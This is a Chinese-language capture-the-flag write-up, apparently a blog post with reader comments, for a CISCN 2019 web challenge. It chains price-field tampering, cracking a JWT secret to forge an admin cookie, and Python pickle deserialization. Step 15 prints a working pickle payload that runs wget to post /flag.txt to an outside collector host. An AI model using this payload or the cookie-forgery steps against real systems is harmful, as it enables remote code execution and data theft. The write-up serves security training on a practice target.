复现环境:https://github.com/CTFTraining/CISCN_2019_northern_China_day1_web2
在线复现环境:http://web44.buuoj.cn/
知识点:
- 薅羊毛与逻辑漏洞
- cookie伪造
- python反序列化
步骤:
1. 打开靶机,是这样一个页面。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1560263144184da39f7e9839fb1492d69ddda95193-1024x541.png)
2.那么先注册登录试试。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15602631853574f3a07b895c68e2d3931b899c7f84-756x1024.png)
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1560263252cf3cb84cb8ee3a92457424b3c79def02-1024x792.png)
3.主界面提示了买 lv6,那么就写个脚本搜 lv6。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/156026328278c0d3db96ab6145b6f5e4e44467dda3-1024x284.png)
Python 脚本:
import requests
url = "http://web44.buuoj.cn/"
for i in range(1, 2000):
r = requests.get(url + "shop?page=" + str(i))
if r.text.find("lv6.png") != -1:
print(i)
break
跑一下脚本,可以看到 lv6 在 181 页。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15602633751aa1a8c66a9f7f4e7ea7696641194078-1024x186.png)
4.打开 181 页,有个 lv6.
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1560263477a1e8568b461aa08ec25895d9ad027c48.png)
5.尝试购买,审计页面源码,在页面里发现有个discount 折扣额度,将其改为一个很小的数试试。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/156026355016bd89ea535b1d02f0224d6f5facadc0-1024x548.png)
6.购买,跳到了这个页面。/b1g_m4mber
![](https://www.zhaoj.in/wp-content/uploads/2019/06/156026361545a318daf27be8252cab5d9935acf635-1024x365.png)
7.要求 admin,那么就来看看 Cookie,发现有个 JWT。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15602636721e64c39864c33e62563c15b6ecefb1d9-1024x847.png)
8. jwt.io 解析看看,发现是 HS256 对称加密的,尝试利用 jwt-cracker 来爆破密钥试试。用 c-jwt-cracker 跑密钥更快(感谢 tinmin 推介)。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1560263795115d7d27585736b3862d3519e1875e40-1024x559.png)
> ./jwtcrack "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImdsemppbjIwMTkifQ.2xY8c1v1Y61F9kmXKUf9R-emOXleODgix_2X_A3oYA8"
9. 跑出来密钥为 1Kun,那么将 payload 里的 username 改为 admin 试试。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1560317922d3e2ad097f08e78e22170943a1c32ae5-1024x108.png)
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1560264015051326adcf8b93cf6bb4b53e6e932179-1024x583.png)
10.置 Cookie,刷新页面,发现伪造奏效了。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1560264200866f35d4ab8c349e35a8f68352ede1fa-1024x895.png)
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15602642139240e623c84931d8261484717c5eb58b-1024x822.png)
12.然后审计页面源码,发现有个链接。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15602642442c52083900752929689b0f5ce92ef7ad-1024x248.png)
13.下载看看,是源码包。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15602642670eeb5aa9e83883122d81133926aa94c6-1024x213.png)
14.审计源码,发现其在 sshop/views/Admin.py 有个反序列化点。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15602643147bdacefa220a901e82f4da262e20ce6c-1024x557.png)
15.利用如下脚本生成 payload 来执行任意命令,比如读取 flag。由于靶机不能访问外网,所以我就让他访问内网的 xss 平台 xss.buuoj.cn 来收 flag了。
补充:https://xz.aliyun.com/t/5383 天枢的师傅们是直接读的,更方便。
import os
import pickle
import urllib
class test(object):
def __reduce__(self):
return (os.system,("wget 'http://xss.buuoj.cn/index.php?do=api&id=Fk3XC0' --post-data='location='`cat /flag.txt` -O-",))
a=test()
payload=pickle.dumps(a)
print(urllib.quote(payload))
注意靶机是 Python2,这个也需要在 Python 2 下跑,而且如果是 Windows 的下的话得用 bash 来跑,保证前面是 cposix。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15602645057fb357844c62a6829b3f5a064918bc90-1024x127.png)
16.审计刚才那个页面,将输入框的 hidden 属性删掉,将 payload 粘进去提交。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15602645619be3bfb2176e6e387ccaaa3e5ba9e347-1024x565.png)
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1560264601ac87e416667572f39d62fe110ce87468-1024x664.png)
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15602646635041e5cec2a3fe0f10187437cdb73ecd-1024x952.png)
17. XSS 平台收 Flag.
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15602646386b2a6a4f16f0b1257623a0ebe39f0ed4-1024x538.png)
18.Flag 到手~
7 个评论
admin
请问直接读取是怎么做的,我看那篇文章用的是eval打开flag文件,为什么这样就可以了
admin
好吧我知道,代码没看仔细…
glzjin
嗯,这种更合适-.-我对 Python 反序列化摸得少-.-不大熟
lanfei
天枢的那个是怎么直接读的啊,没看懂,能否告诉一下,谢谢
glzjin
eval
小菜鸡
os.popen(‘cat /flag’).read()这种执行方式是可以有回显的
glzjin
嗯,是的。